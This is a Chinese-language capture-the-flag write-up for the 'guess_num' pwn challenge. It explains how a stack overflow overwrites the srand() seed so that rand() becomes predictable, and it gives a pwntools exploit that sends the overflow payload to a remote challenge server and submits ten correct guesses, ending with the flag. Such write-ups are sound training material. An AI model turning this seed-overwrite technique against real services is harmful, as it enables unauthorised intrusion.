CTF – PWN – guess_num

题目说明

题目: guess-num

栈溢出 覆盖并固定srand() 导致rand()产生固定序列

解题步骤

拿到文件后先查看文件类型是64位的elf文件

检查安全机制感觉啥都开了

查看主函数伪代码

代码逻辑上是猜随机数连续猜中10次就进入sub_C3E()函数得到flag

srand()和rand()

  • srand()函数是随机数发生器的初始化函数
  • rand()函数用来产生随机数

初始化随机数在第十二五行 srand(seed[0])
产生随机数在第28行 v7 = rand() % 6 + 1
srand()和rand()的用法是先定义srand(seed),然后srand从seed中设置一个随机起点,rand()函数根据这个起点产生随机序列。但是rand()的内部实现使用线性同余法,所以不是真的随机数,只不过周期长,在一定范围内可以当做随机数,也就是说rand()的每次执行都是相同的
我们使用python的ctypes库做一个测试

1
2
3
4
5
6
7
from ctypes import *
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(1)
list = ''
for i in range(10):
list += str(libc.rand()%6+1)
print list

上面这段代码的意思就是固定srand()为0,输出十次rand()的值
我们运行这个脚本三次,可以看到rand()的值都是固定的

回到题目,在产生随机数的位置上方有一个puts()输入,这个puts()没有对于长度的限制,所以我们可以从puts()下手覆盖seed[0]的值,固定rand()的长度,产生固定的序列

写出exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
from ctypes import *
p = remote('111.198.29.45','47417')
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = 'A'*0x20 + p64(1)
p.recvuntil("Your name")
p.sendline(payload)
libc.srand(1)
for i in range(10):
p.recvuntil("guess")
p.sendline(str(libc.rand()%6+1))
p.interactive()

运行得到flag

flag:

1
cyberpeace{8271d28d7d67c8e8a6c10d384b27b20b}

参考链接